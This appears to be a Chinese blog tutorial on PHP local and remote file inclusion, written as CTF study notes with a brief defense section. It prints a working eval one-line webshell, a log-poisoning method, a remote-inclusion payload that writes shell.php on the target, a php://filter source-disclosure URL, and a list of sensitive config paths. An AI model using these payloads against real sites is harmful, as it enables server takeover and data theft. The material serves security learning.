zoukankan      html  css  js  c++  java
  • 文件包含漏洞

    讲一句话木马的文件 嵌入到另一个文件中,这个文件可以是图片,可以是文本

    文件包含函数(php)

    include

    require

    include_once

    require_once

    漏洞整体的分类 

      本地文件包含

      远程文件包含漏洞

    常见敏感文件

    unix/linux 

      /etc/passwd 

          /usr/local/app/apache2/conf/httpd.conf   apache2默认配置文件

      /usr/local/app/apache2/conf/extra/httpd-vhosts.conf  虚拟网站设置

      /etc/my.cnf mysql的配置文件 

    凯撒加密

    文件包含与文件上传合集

          

    已知:此处是一个文件包含漏洞,

                  

      此处有一个文件上传漏洞

    1. 先从此处上传一个后缀名为图片格式的文件,此文件是php一句话木马修改后缀名得到的 
    2. 上传成功后会得到一个文件路径 :uploads/alert.png 意思是位于此文件夹下的uploads文件夹里
    3. 返回文件包含漏洞的链接,将后面的flag替换为上面的 uploads/alert.png 转到没有报错 
    4. 将此链接复制到菜刀里 ,连接成功!

                

    http://xxxxxxx/?id=1   没有显示在哪个页面 一般可以还原为 http://xxxxxxxx/index.php?id=1 或者http://xxxxxxxxxxx/index.html?id=1

    利用错误日志进行测试

    首先构造一句话木马

    http://xxxxx/<?php eval($_POST[value])?> 

    由于浏览器解析的时候 会将特殊字符转义为URL编码 

    GET 头部 修改为 <?php eval($_POST[value])?>,然后放包

    发现页面报错,由此可判断 错误日志中已经有了这个木马,

    找到日志的路径(路径先测试默认的 默认的不行就猜,或者利用phpinfo();查看各种配置信息)

    远程文件包含 getshell

      条件 : allow_url_include = on 

      <?php eval($_POST[value])?>

    远程文件包含自己写shell

    fputs(x,y),fopen(x,y)

    <?php

    fputs(fopen("shell.php",w),"<?php eval($_POST[value])?>")  //这句话的意思是 在当前目录下 将<?php eval($_POST[value])?>这段代码 写入到shell.php这个文件中,若没有这个文件就先新建。

    ?>

    将上面的一段代码复制到一个php文件中,放在自己的服务器上,利用目标服务器存在的远程文件包含漏洞,将此文件包含进去,目标服务器就会执行里面的代码,新建一个一句话木马文件,然后到shell这个文件的路径下 执行这个文件。

    http://127.0.0.1:98/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php 

    将main.php的源码利用base64编码方式显现出来,获得一串字符串 将字符串选中 在hackbar中 找到 Encoding => Base64 Decode 点击 即可得到源码,main.php可以是任意php文件

    system()里面的参数是系统命令

    当然也可以这样做 页面会提示错误,但是查找目录会找到对应的文件。

    如何防御呢?

    1.allow_url_include=off

    2.严格判断包含的参数是否外部可控

    3.路径限制,限制被包含的文件只能在一个文件夹中,

    ....

    附带一个练习题目的链接:http://ctf.bugku.com/challenges

  • 相关阅读:
    C#_基础_继承以及关键字new(二十一)
    C#_基础_静态关键字static(二十一)
    C#_基础_密封类和密封方法关键字sealed(二十)
    C#_基础_多线程(十九)
    C#_基础_部分类partial(十八)
    C#_基础_文件夹操作类Directory(十七)
    C#_基础_简单实现自定义异常(十六)
    C#_基础_String和StringBuilder及字符串常用方法(十五)
    C#基础_递归方法几个示例(十四)
    C#_基础_关键字可变参数Param(十三)
  • 原文地址:https://www.cnblogs.com/Abelte/p/8933088.html
Copyright © 2011-2022 走看看